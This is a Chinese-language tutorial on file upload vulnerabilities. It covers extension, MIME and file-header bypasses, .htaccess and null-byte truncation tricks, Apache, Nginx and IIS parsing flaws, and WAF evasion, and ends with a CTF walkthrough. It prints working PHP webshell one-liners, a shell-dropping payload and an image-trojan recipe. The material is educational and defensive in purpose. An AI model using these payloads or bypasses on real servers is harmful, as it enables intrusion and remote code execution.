文件上传漏洞
定义
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,文件上传本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
产生原因,条件及危害
原因
一些 web 应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过 url 去访问以执行代码。
造成文件上传漏洞的原因是:
服务器配置不当
开源编辑器上传漏洞
本地文件上传限制被绕过
过滤不严格被绕过
文件解析漏洞导致文件执行
文件路径截断
条件
首先,上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是 web 容器所覆盖到的路径。
其次,用户能够从 web 访问这个文件。如果文件上传了,但用户无法通过 web 访问,或者无法得到 web 容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
危害
上传文件是 web 脚本语言,服务器的 web 容器解释并执行了用户上传的脚本,导致代码执行。
上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行。
上传文件是 Flash 的策略文件
crossdomain.xml
,黑客用以控制 Flash 在该域下的行为(其他通过类似方式控制策略文件的情况类似)。上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了 PHP 脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本。
可控点
Content-Length
,即上传内容大小MAX_FILE_SIZE
,即上传内容的最大长度filename
,即上传文件名Content-Type
,即上传文件类型请求包中的乱码字段,即是所上传文件的内容
有可能存在请求包中的可控点还有上传路径
验证机制
- 客户端 JavaScript 验证(一般只校验文件扩展名)
应用程序在前端使用 JavaScript 检测上传文件的扩展名。
绕过方式:
- 直接禁用本地 js,不让其做检测。
- 抓包,修改文件后缀名类型,绕过检测限制。
$_FILES
中的那些参数:
$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。
$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的错误代码。
UPLOAD_ERR_OK 值:0; 没有错误发生,文件上传成功
UPLOAD_ERR_INI_SIZE 值:1; 上传的文件超过了 php.ini 中 upload_max_filesize选项限制的值
UPLOAD_ERR_FORM_SIZE 值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值
UPLOAD_ERR_PARTIAL 值:3; 文件只有部分被上传
UPLOAD_ERR_NO_FIL 值:4; 没有文件被上传, 值:5; 上传文件大小为0
文章参考:https://www.cnblogs.com/xzj8023tp/p/8719792.html
服务端MIME类型验证
绕过思路:抓包,将 Content-Type
修改为服务端允许的类型。
服务端文件扩展名验证(黑名单、白名单)
绕过思路:
文件名大小写绕过(AsP, pHp 等等)
黑白名单列表绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx、cdx)
特殊文件名绕过
修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在 Windows 是不允许的。所以在绕过上传之后 Windows 系统会自动去掉点和空格。Unix/Linux 系统没有这个特性。
0x00 截断绕过
.htaccess
文件攻击(结合黑名单攻击)
黑名单绕过思路:可以从服务器的解析特性进行分析,如特殊可解析后缀 php3,php7,phtml,jspx 等,如特殊的解析方式陌生后缀名,带换行后缀名,双后缀名等解析差异造成的漏洞。还可以从混淆方面出发,后缀名大小写,点绕过,空格绕过,以及上传 .htaccess 配置控制文件权限和 ::$DATA 数据流的使用
白名单绕过思路:MIME 绕过,修改文件类型为白名单可接受的类型,以及 %00,0x00 截断绕过,这种场景针对 save_path 可控。
两种绕过方式
.htaccess 文件攻击(结合黑名单攻击)
如果 Web 服务器是 Apache 且黑名单没有对 .htaccess 做限制,那么可以上传 .htaccess 配置文件到目录中覆盖 Apache 的设置,可以通过配置执行 webshell。
.htaccess 文件攻击即结合黑名单攻击服务器的 .htaccess 文件。
通过 move_uploaded_file
函数把自己写的 .htaccess 文件覆盖掉服务器上的,这样就可以解析定义名单了。
.htaccess 文件用处:
通过 .htaccess 文件调用 php 解释器去解析一个文件名中只要包含 "haha" 这个字符串的任意文件,无论文件名是什么样子,只要包含 "haha" 这个字符串,都可以被以 php 的方式来解析。
.htaccess 文件内容:
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
00 截断
00 截断原理其实很巧妙,利用场景是文件保存路径可控,这样一来我们上传的文件符合白名单就行,真正动手的地方在文件保存路径出,可以放上自己的 webshell 文件,然后在 webshell 文件后面添加 %00,或 0x00,再加一些字符,这样一来,系统在解析碰到 00 就会截断,后面字符就不起作用,只剩下前面的 webshell 文件名,就可以在 url 中进行访问了。%00 和 0x00 的使用区别在于提交 get 请求时,是 %00 ,会进行 url 自动解码动作,然后进入验证函数。0x00 则是 post 请求直接进入验证函数。
- 服务器文件内容验证 ( 文件头(文件幻数) 、文件加载检测 )
绕过思路:
- 伪造文件头绕过
常见文件幻数:
JPG: FF D8 FF EO 00 10 4A 46 49 46.
GIF:47 49 46 3839 61(GIF89a).
PNG:89 50 4E 47
- 利用服务器将木马文件解析成图片文件
利用文件包含漏洞,将图片格式的文件当成PHP文件解析
模板:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/上传文件的回显路径&submit=提交查询
生成图片木马:copy 图片.png/b+ 一句话木马.php/a 生成图片名称 .png

文件上传中服务器解析漏洞
Apache服务器解析漏洞
原理:
Apache 服务器解析文件的规则是从右往左判断解析,如果遇到不可解析的后缀名则会向左判断。如:"test.php.rar.php233" 中 ".php233" 与 ".rar" 都不是 Apache 可解析的后缀名,那么 Apache 就会将这个文件解析为 "test.php"。
形如:http://xx.xxx.xx/test.php.rar.php233
配置漏洞
如有 AddHandler php5-script .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
如有 AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样能以 php 方式执行。
CVE-2017-15715
利用 CVE-2017-15715,上传一个包含换行符的文件。注意,只能是 \x0A
,不能是 \x0D\x0A
,所以我们用 hex 功能在 1.php 后面添加一个 \x0A
,然后访问 /1.php%0A
,即可 getshell。
Nginx 服务器解析漏洞
形如:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
目前 Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加 /任意文件名.php
的解析漏洞,比如原本文件名是 test.jpg,可以添加为 test.jpg/x.php 进行解析攻击。还有一种是对低版本的 Nginx 可以在任意文件名后面添加 %00.php 进行解析攻击。
IIS5.x-6.x解析漏洞
只能解析 asp,不能解析 aspx。
目录解析(6.0)
形式:http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把 .asp,.asa 目录下的文件都解析成 asp 文件。
文件解析
形式:http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析 ;
号后面的内容,因此 xx.asp;.jpg 便被解析成 asp 文件了。
解析文件类型
IIS6.0 默认的可执行文件除了 asp 还包含这三种 :
/test.asa
/test.cer
/test.cdx
畸形解析漏洞(test.jpg/*.php)
在 IIS7.0 中,默认 Fast-CGI 开启状况下,我们往图片里面写入下面的代码:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
将文件保存成 test.jpg 格式,上传到服务器,假设上传路径为 /upload,上传成功后,直接访问 /upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用了。test.jpg 将会被服务器当成 php 文件执行,所以图片里面的代码就会被执行。
WAF绕过
- 增大文件大小
本来要上传 z.php 的文件,尝试改名为 zzzzzzzzzzzzzz(字符越多越好)z.php,或者在文件名前加上很多无用数据,并用分号隔开。
- 干扰文件名匹配
- 增加一个没有值的 filename
Content-Disposition: form-data; name="file"; filename="php.php"
改为
Content-Disposition: form-data; name="file"; filename= ; filename="php.php"
- 我们在上传时通常会配合解析漏洞,例如 1.asp;.jpg 我们想到也可以构造一样的文件名进行干扰
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
- 可以让 waf 对 filename 这个字符串匹配不到,但是服务器又可以接收。
在 filename 字符串的中间换行
filename
改为
fil
ename
- 改匹配的字段
我们的 filename 参数是在 post 包中的 Content-Disposition 字段,那么 waf 也是先匹配到这个 http 头在对内容进行检测,我们可以尝试对这个头的特征进行修改
原始内容:
Content-Disposition: form-data; name="file"; filename="php.php"
我们尝试去掉这个 form-data (form-data; 的意思是内容描述,form-dat a的意思是来自表单的数据,但是即使不写 form-data,apache 也接受。)
修改后:
Content-Disposition: name="file"; filename="php.php"
或者改一下大小写
COntEnT-DIsposiTiOn: form-data; name="file"; filename="php.php"
还可以在这个头上下文加额外的头进行干扰
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif
实例:[极客大挑战 2019]Upload 1
- 上传一句话木马文件 a.php
<?php @eval($_POST['shell']);?>

- 修改
Content-Type
上传文件后抓包!

修改 Content-Type
为 image/gif

会提示 NOT ! php !
,说明不能后缀为 php
修改文件后缀为 .phtml 同上提示为
NO! HACKER! your file included '<?'
就是不能包含“<?”用 script 标签绕过 "<?" 限制
<script language='php'>@eval($_POST['cmd']);</script>
提示:上传的不是图片
修改文件头,在前添加文件头
GIF89a
成功上传用蚁剑连接,根目录下找到 flag 文件,打开就可以得到 flag